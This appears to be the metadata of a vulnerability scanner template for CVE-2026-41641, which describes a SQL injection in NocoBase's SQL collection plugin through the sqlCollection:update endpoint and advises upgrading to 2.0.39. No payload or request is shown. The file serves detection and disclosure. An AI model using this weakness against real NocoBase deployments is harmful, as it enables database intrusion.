id: CVE-2026-41641

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later
